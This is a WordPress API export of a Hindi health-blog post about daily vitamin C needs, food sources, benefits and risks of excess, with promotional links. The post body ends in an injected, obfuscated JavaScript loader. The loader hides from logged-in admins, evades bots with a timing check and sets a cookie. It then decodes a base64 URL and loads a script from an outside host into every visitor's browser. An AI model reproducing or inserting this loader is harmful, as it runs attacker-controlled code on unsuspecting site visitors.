{"id":2262,"date":"2022-06-22T16:41:08","date_gmt":"2022-06-22T16:41:08","guid":{"rendered":"https:\/\/www.healthsrainbow.com\/blog\/?p=2262"},"modified":"2025-10-24T21:38:59","modified_gmt":"2025-10-24T21:38:59","slug":"%e0%a4%b5%e0%a4%bf%e0%a4%9f%e0%a4%be%e0%a4%ae%e0%a4%bf%e0%a4%a8-%e0%a4%b8%e0%a5%80-%e0%a4%95%e0%a5%80-%e0%a4%ae%e0%a4%be%e0%a4%a4%e0%a5%8d%e0%a4%b0%e0%a4%be-%e0%a4%a1%e0%a5%87%e0%a4%b2%e0%a5%80","status":"publish","type":"post","link":"https:\/\/www.healthsrainbow.com\/blog\/2022\/06\/22\/%e0%a4%b5%e0%a4%bf%e0%a4%9f%e0%a4%be%e0%a4%ae%e0%a4%bf%e0%a4%a8-%e0%a4%b8%e0%a5%80-%e0%a4%95%e0%a5%80-%e0%a4%ae%e0%a4%be%e0%a4%a4%e0%a5%8d%e0%a4%b0%e0%a4%be-%e0%a4%a1%e0%a5%87%e0%a4%b2%e0%a5%80\/","title":{"rendered":"Optimizing Vitamin C Intake: How Much to Take Each Day"},"content":{"rendered":"<h1>\u00a0<\/h1>\n<h2>\u00a0<\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-3549\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2022\/06\/vitamin-c-300x200.jpg\" alt=\"Vitamin C letters made of citrus fruits - lemon, grapefruit, orange and kiwi slices on white background\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2022\/06\/vitamin-c-300x200.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2022\/06\/vitamin-c.jpg 509w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u0915\u094b 75 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e, \u092a\u0941\u0930\u0941\u0937\u094b\u0902 \u0915\u094b 90 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e, \u0917\u0930\u094d\u092d\u0935\u0924\u0940 \u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u0915\u094b 85 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e \u0914\u0930 \u092c\u094d\u0930\u0947\u0938\u094d\u091f \u092b\u0940\u0921\u093f\u0902\u0917 \u0915\u0930\u093e\u0928\u0947 \u0935\u093e\u0932\u0940 \u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u0915\u094b 120 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e \u0924\u0915\u00a0\u0935\u093f\u091f\u093e\u092e\u093f\u0928-\u0938\u0940 \u0915\u093e \u0938\u0947\u0935\u0928 \u0930\u094b\u091c\u093e\u0928\u093e \u0915\u0930\u0928\u093e\u00a0\u091a\u093e\u0939\u093f\u090f<\/p>\n<h2><strong>\u0935\u093f\u091f\u093e\u092e\u093f\u0928<\/strong><strong> &#8211; <\/strong><strong>\u0938\u0940<\/strong><strong>\u00a0 <\/strong><strong>\u0915\u093f\u0928<\/strong> <strong>\u091a\u0940\u091c\u094b\u0902<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u092a\u093e\u092f\u093e<\/strong> <strong>\u091c\u093e\u0924\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<ul>\n<li>\u0928\u0940\u0902\u092c\u0942 \u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0938\u0940 \u0915\u093e \u0938\u092c\u0938\u0947 \u0905\u091a\u094d\u091b\u093e \u0938\u094d\u0930\u094b\u0924 \u092e\u0947\u0902 \u0938\u0947 \u0917\u093f\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948 \u0914\u0930 \u092f\u0939\u0940 \u0935\u091c\u0939 \u0939\u0948 \u0915\u093f \u0905\u0915\u094d\u0938\u0930 \u0932\u094b\u0917 \u0916\u093e\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926 \u0907\u0938\u0947 \u092a\u093e\u0928\u0940 \u092e\u0947\u0902 \u092e\u093f\u0932\u093e\u0915\u0930 \u092a\u0940\u0924\u0947 \u0939\u0948\u0902\u0964 \u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0938\u0940 \u0915\u0940 \u092a\u0930\u094d\u092f\u093e\u092a\u094d\u0924 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u092a\u0942\u0930\u094d\u0924\u093f \u0915\u0930\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0928\u0940\u0902\u092c\u0942 \u0915\u094b \u0915\u0908 \u092a\u094d\u0930\u0915\u093e\u0930 \u0938\u0947 \u0905\u092a\u0928\u0940 \u0921\u093e\u092f\u091f \u092e\u0947\u0902 \u0936\u093e\u092e\u093f\u0932 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u092a\u093e\u0932\u0915 \u092d\u0940 \u0935\u093f\u091f\u093e\u092e\u093f\u0928-\u0938\u0940 \u0915\u0947 \u0909\u0924\u094d\u0924\u092e \u0916\u093e\u0926\u094d\u092f \u092a\u0926\u093e\u0930\u094d\u0925\u094b\u0902 \u092e\u0947\u0902 \u0938\u0947 \u090f\u0915 \u0917\u093f\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0938\u0940 \u0915\u0940 \u092a\u0930\u094d\u092f\u093e\u092a\u094d\u0924 \u092e\u093e\u0924\u094d\u0930\u093e \u0915\u0947 \u0932\u093f\u090f \u0906\u092a \u0938\u0902\u0924\u0930\u0947 \u0915\u0947 \u091c\u0942\u0938 \u0915\u093e \u0928\u093f\u092f\u092e\u093f\u0924 \u0938\u0947\u0935\u0928 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u0938\u0930\u0938\u094b\u0902 \u0915\u093e \u0938\u093e\u0917 \u092d\u0940 \u0935\u093f\u091f\u093e\u092e\u093f\u0928-\u0938\u0940 \u0915\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u0938\u0947 \u092d\u0930\u092a\u0942\u0930 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0915\u0940\u0935\u0940 \u090f\u0915 \u0910\u0938\u093e \u092b\u0932 \u0939\u0948 \u091c\u094b \u0935\u093f\u091f\u093e\u092e\u093f\u0928-\u0938\u0940 \u0915\u0947 \u0905\u091a\u094d\u091b\u0947 \u0936\u0941\u0926\u094d\u0927 \u0916\u093e\u0926\u094d\u092f \u092a\u0926\u093e\u0930\u094d\u0925\u094b\u0902 \u092e\u0947\u0902 \u0917\u093f\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0905\u092e\u0930\u0942\u0926 \u090f\u0915 \u0910\u0938\u093e \u092b\u0932 \u0939\u0948 \u091c\u093f\u0938\u0915\u093e \u0938\u094d\u0935\u093e\u0926 \u092c\u0947\u0939\u0926 \u0932\u091c\u0940\u091c \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u090f\u0915 \u0905\u092e\u0930\u0942\u0926 \u092e\u0947\u0902 \u0924\u0915\u0930\u0940\u092c\u0928 126 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e \u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0938\u0940 \u0915\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u092a\u093e\u0908 \u091c\u093e\u0924\u0940 \u0939\u0948\u0964<\/li>\n<li>\u092c\u094d\u0932\u0942\u092c\u0947\u0930\u0940 \u0926\u093f\u0916\u0928\u0947 \u092e\u0947\u0902 \u092c\u0939\u0941\u0924 \u091b\u094b\u091f\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u0932\u0947\u0915\u093f\u0928 \u0907\u0938\u0915\u0947 \u092b\u093e\u092f\u0926\u0947 \u0905\u0928\u0947\u0915 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964 \u092f\u0939\u090f\u0902\u091f\u0940\u0911\u0915\u094d\u0938\u093f\u0921\u0947\u0902\u091f \u0914\u0930 \u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0938\u0940\u00a0\u0938\u0947 \u092d\u0930\u092a\u0942\u0930 \u0939\u094b\u0924\u0940 \u0939\u0948<\/li>\n<li>\u0905\u0902\u0917\u0942\u0930 \u0915\u093e \u091c\u0942\u0938<\/li>\n<li>\u0924\u093e\u091c\u093e \u0915\u091f\u093e \u0939\u0941\u0906 \u0938\u094d\u091f\u094d\u0930\u0949\u092c\u0947\u0930\u0940<\/li>\n<li>\u092a\u0915\u093e \u0939\u0941\u090f \u092c\u094d\u0930\u0938\u0947\u0932\u094d\u0938 \u0938\u094d\u092a\u094d\u0930\u093e\u0909\u091f<\/li>\n<\/ul>\n<h2>\u0935\u093f\u091f\u093e\u092e\u093f\u0928-\u0938\u0940 \u0915\u0947 \u0915\u094d\u092f\u093e \u092b\u093e\u092f\u0926\u0947 \u0939\u0948?<\/h2>\n<ul>\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0938\u0940 \u0938\u0947 \u0939\u094b\u0924\u0940 \u0939\u0948 \u0924\u094d\u0935\u091a\u093e \u0915\u0940 \u0938\u0941\u0930\u0915\u094d\u0937\u093e<\/li>\n<li>\u0924\u094d\u0935\u091a\u093e \u0915\u094b \u0928\u092e\u0940 \u0926\u0947\u0924\u093e \u0939\u0948<\/li>\n<li>\u091c\u0932\u094d\u0926 \u092d\u0930\u0924\u0947 \u0939\u0948\u0902 \u0918\u093e\u0935<\/li>\n<li>\u092e\u091c\u092c\u0942\u0924 \u0939\u094b\u0924\u0940 \u0939\u0948 \u0930\u094b\u0917 \u092a\u094d\u0930\u0924\u093f\u0930\u0915\u094d\u0937\u093e \u0936\u0915\u094d\u0924\u093f<\/li>\n<li>\u0938\u0942\u0930\u091c \u0915\u0940 \u0915\u093f\u0930\u0923\u094b\u0902 \u0938\u0947 \u0924\u094d\u0935\u091a\u093e \u0915\u0940 \u0930\u0915\u094d\u0937\u093e<\/li>\n<li>\u0939\u0921\u094d\u0921\u093f\u092f\u094b\u0902 \u0915\u094b \u092d\u0940 \u092e\u091c\u092c\u0942\u0924 \u092c\u0928\u093e\u0924\u093e \u0939\u0948<\/li>\n<li>\u092c\u0922\u093c\u0924\u0940 \u0909\u092e\u094d\u0930 \u092e\u0947\u0902 \u0924\u094d\u0935\u091a\u093e \u0915\u094b \u0930\u0916\u0924\u093e \u0939\u0948 \u0938\u094d\u0935\u0938\u094d\u0925<\/li>\n<li>\u092e\u0938\u0942\u0921\u093c\u094b\u0902 \u0915\u094b \u0938\u094d\u0935\u0938\u094d\u0925 \u0930\u0916\u0928\u093e<\/li>\n<\/ul>\n<h2>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 &#8211; \u0938\u0940 \u0915\u0947 \u0915\u094d\u092f\u093e \u0928\u0941\u0915\u0938\u093e\u0928 \u0939\u094b\u0924\u0947 \u0939\u0948?<\/h2>\n<ul>\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0938\u0940 \u0915\u094b \u091c\u094d\u092f\u093e\u0926\u093e \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0932\u093f\u092f\u093e \u091c\u093e\u090f \u0924\u094b \u0906\u092f\u0930\u0928 \u0915\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u091c\u094d\u092f\u093e\u0926\u093e \u0939\u094b \u091c\u093e\u0924\u0940 \u0939\u0948 \u091c\u093f\u0938\u0938\u0947 \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u0915\u0908 \u0924\u0930\u0939 \u0915\u0940 \u092c\u0940\u092e\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u0939\u094b\u0928\u0947 \u0915\u093e \u0916\u0924\u0930\u093e \u092c\u0922\u093c \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0938\u0940 \u0915\u0940 \u091c\u094d\u092f\u093e\u0926\u093e \u092e\u093e\u0924\u094d\u0930\u093e \u0938\u0947 \u0915\u093f\u0921\u0928\u0940 \u0916\u0930\u093e\u092c \u0939\u094b\u0928\u0947 \u0915\u093e \u0916\u0924\u0930\u093e \u092c\u0928\u093e \u0930\u0939\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0938\u0940 \u0915\u0947 \u091c\u094d\u092f\u093e\u0926\u093e \u0938\u0947\u0935\u0928 \u0938\u0947 \u092a\u0947\u091f \u0916\u0930\u093e\u092c \u0939\u094b\u0928\u0947 \u0915\u0940 \u0938\u092e\u0938\u094d\u092f\u093e \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ul>\n<h2><strong>\u0921\u093e\u0907\u091f<\/strong>\u00a0<strong>\u092e\u0947\u0902<\/strong>\u00a0<strong>\u0935\u093f\u091f\u093e\u092e\u093f\u0928<\/strong><strong>&#8211;<\/strong><strong>\u0938\u0940<\/strong>\u00a0<strong>\u0915\u094d\u092f\u094b\u0902<\/strong>\u00a0<strong>\u091c\u0930\u0942\u0930\u0940<\/strong>\u00a0<strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<ul>\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928-\u0938\u0940 \u090f\u0915 \u092e\u0939\u0924\u094d\u200d\u0935\u092a\u0942\u0930\u094d\u0923 \u092a\u094b\u0937\u0915 \u0924\u0924\u094d\u200d\u0935 \u0939\u0948 \u091c\u094b \u0938\u094d\u200d\u0935\u093e\u0938\u094d\u200d\u0925\u094d\u200d\u092f \u0915\u0947 \u0932\u093f\u090f \u092c\u0939\u0941\u0924 \u091c\u0930\u0942\u0930\u0940 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0939\u0921\u094d\u0921\u093f\u092f\u094b\u0902<\/li>\n<li>\u0924\u094d\u200d\u0935\u091a\u093e\u0930\u0915\u094d\u200d\u0924 \u0935\u093e\u0939\u093f\u0915\u093e\u0913\u0902 \u0915\u0947 \u0917\u0920\u0928 \u0914\u0930 \u0909\u0928\u094d\u200d\u0939\u0947\u0902 \u0938\u094d\u200d\u0935\u0938\u094d\u200d\u0925 \u092c\u0928\u093e\u090f \u0930\u0916\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926<\/li>\n<li>\u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0915\u0941\u091b \u0916\u093e\u0926\u094d\u092f \u092a\u0926\u093e\u0930\u094d\u0925\u094b\u0902 \u0916\u093e\u0938\u0924\u094c\u0930 \u092a\u0930 \u092b\u0932 \u0914\u0930 \u0938\u092c\u094d\u091c\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0938\u0940 \u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u0930\u0942\u092a \u0938\u0947<\/li>\n<li>\u092a\u093e\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928-\u0938\u0940 \u0938\u092a\u094d\u200d\u0932\u0940\u092e\u0947\u0902\u091f \u0915\u0947 \u0930\u0942\u092a<\/li>\n<li>\u092e\u0947\u0902 \u092d\u0940 \u0906\u0924\u093e \u0939\u0948\u0964 \u0935\u093f\u091f\u093e\u092e\u093f\u0928-\u0938\u0940 \u0915\u094b \u090f\u0932-\u090f\u0938\u094d\u200d\u0915\u094b\u0930\u094d\u092c\u093f\u0915 \u090f\u0938\u093f\u0921, \u090f\u0938\u094d\u200d\u0915\u094b\u0930\u094d\u092c\u093f\u0915 \u090f\u0938\u093f\u0921 \u092f\u093e \u090f\u0932-\u090f\u0938\u094d\u200d\u0915\u094b\u0930\u094d\u092c\u0947\u091f \u092d\u0940 \u0915\u0939\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<h2><strong>\u0935\u093f\u091f\u093e\u092e\u093f\u0928<\/strong><strong> &#8211; <\/strong><strong>\u0938\u0940<\/strong><strong>\u00a0 <\/strong><strong>\u0915\u0947<\/strong> <strong>\u0932\u093f\u090f<\/strong> <strong>\u0915\u094c\u0928<\/strong> <strong>\u0938\u0947<\/strong> <strong>\u0921\u0949\u0915\u094d\u091f\u0930<\/strong> <strong>\u0915\u094b<\/strong> <strong>\u0926\u093f\u0916\u093e\u090f<\/strong><strong>?<\/strong><\/h2>\n<ul>\n<li>General Physicians<\/li>\n<\/ul>\n\n\n<p><strong>For more information Visit us :<\/strong><\/p>\n\n\n\n<p>Website: <a href=\"https:\/\/www.youtube.com\/redirect?event=video_description&amp;redir_token=QUFFLUhqa2VQQWdHYURCNlk3SkVlUTFCSmh4UmlPNXlRd3xBQ3Jtc0ttaXE0b0t1ckw2SGFuQm41dDBqajRMLXk4UTRHeGNPRjM0azBjQW1WYmZuZ1Y1VVZNVXVDbHpSSWJfVnVJN3Y2QkVDQU9WNG5HbF81a2E0X2RSc1VfR3dUR2Y5cEFFRnltVTBNU3JGTnpQeE5iOWd5OA&amp;q=http%3A%2F%2Fwww.healthsrainbow.com%2F&amp;v=wPm8FUPYWn4\">http:\/\/www.healthsrainbow.com\/<\/a><\/p>\n\n\n\n<p>Website Blog: <a href=\"https:\/\/www.healthsrainbow.com\/blog\/\">https:\/\/www.healthsrainbow.com\/blog\/<\/a><\/p>\n\n\n\n<p>Subscriber: <a href=\"https:\/\/www.youtube.com\/@healthsrainbow4897\">https:\/\/www.youtube.com\/@healthsrainbow4897<\/a><\/p>\n\n\n\n<p>Facebook Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100087738795787\">https:\/\/www.facebook.com\/profile.php?id=100087738795787<\/a><\/p>\n\n\n\n<p>Facebook Main Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100072657459686\">https:\/\/www.facebook.com\/profile.php?id=100072657459686<\/a><\/p>\n\n\n\n<p>Instagram: <a href=\"https:\/\/www.instagram.com\/healthsrainbow\/\">https:\/\/www.instagram.com\/healthsrainbow\/<\/a><\/p>\n\n\n\n<p>Twitter: <a href=\"https:\/\/twitter.com\/healths_rainbow\">https:\/\/twitter.com\/healths_rainbow<\/a><\/p>\n\n\n\n<p><strong>RELATED VIDEO<\/strong>\n<ol>\n \t<li class=\"title style-scope ytd-video-primary-info-renderer\"><strong>Best source of iron<\/strong>&nbsp;:&nbsp;<a href=\"https:\/\/youtu.be\/1j5lM7Abhgo\">https:\/\/youtu.be\/1j5lM7Abhgo<\/a><\/li>\n \t<li><strong>Carbohydrates rich fruits :<\/strong>&nbsp;<a href=\"https:\/\/youtu.be\/4SbJgsflQAE\">https:\/\/youtu.be\/4SbJgsflQAE<\/a><\/li>\n \t<li><strong>Benefits and harms of apricots&nbsp; :&nbsp;<\/strong>&nbsp;<a href=\"https:\/\/youtu.be\/Mwf_ILPqrw4\">https:\/\/youtu.be\/Mwf_ILPqrw4<\/a><\/li>\n<\/ol>\n<strong>RELATED ARTICLE<\/strong>\n<ol>\n \t<li><strong>Benefits of iron fruits :&nbsp;<\/strong><a href=\"https:\/\/www.healthyvedics.com\/blog\/2022\/02\/06\/\">https:\/\/www.healthyvedics.com\/blog\/2022\/02\/06\/<\/a><\/li>\n \t<li><strong>Carbohydrates rich fruits :&nbsp;<\/strong><a href=\"https:\/\/www.healthyvedics.com\/blog\/2022\/02\/06\/\">https:\/\/www.healthyvedics.com\/blog\/2022\/02\/06\/<\/a><\/li>\n \t<li><strong>Benefits and harms of apricots :&nbsp;<\/strong>https:\/\/www.healthyvedics.com\/blog\/2021\/12\/11\/<\/li>\n<\/ol>\n<strong>&nbsp;<\/strong>\n\n<strong>VISIT OUR WEBSITE&nbsp;<\/strong>\n<ol>\n \t<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n \t<li><a href=\"https:\/\/www.healthyvedics.com\/\">https:\/\/www.healthyvedics.com\/<\/a><\/li>\n<\/ol>\n<strong>This video Covers the information about:<\/strong>\n\nHow much vitamin C should you take daily? Vitamin C is found in what things? Which doctor to see for vitamin C?\n\n<strong>PUBLISHED BY HEALTHS RAINBOW<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u00a0 \u00a0 \u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u0915\u094b 75 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e, \u092a\u0941\u0930\u0941\u0937\u094b\u0902 \u0915\u094b 90 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e, \u0917\u0930\u094d\u092d\u0935\u0924\u0940 \u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u0915\u094b 85 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e \u0914\u0930 \u092c\u094d\u0930\u0947\u0938\u094d\u091f \u092b\u0940\u0921\u093f\u0902\u0917 \u0915\u0930\u093e\u0928\u0947 \u0935\u093e\u0932\u0940 \u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u0915\u094b 120 \u092e\u093f\u0932\u0940\u0917\u094d\u0930\u093e\u092e \u0924\u0915\u00a0\u0935\u093f\u091f\u093e\u092e\u093f\u0928-\u0938\u0940 \u0915\u093e \u0938\u0947\u0935\u0928 \u0930\u094b\u091c\u093e\u0928\u093e \u0915\u0930\u0928\u093e\u00a0\u091a\u093e\u0939\u093f\u090f \u0935\u093f\u091f\u093e\u092e\u093f\u0928 &#8211; \u0938\u0940\u00a0 \u0915\u093f\u0928 \u091a\u0940\u091c\u094b\u0902 \u092e\u0947\u0902&#8230; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3088],"tags":[],"_links":{"self":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/2262"}],"collection":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/comments?post=2262"}],"version-history":[{"count":8,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/2262\/revisions"}],"predecessor-version":[{"id":13793,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/2262\/revisions\/13793"}],"wp:attachment":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/media?parent=2262"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/categories?post=2262"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/tags?post=2262"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}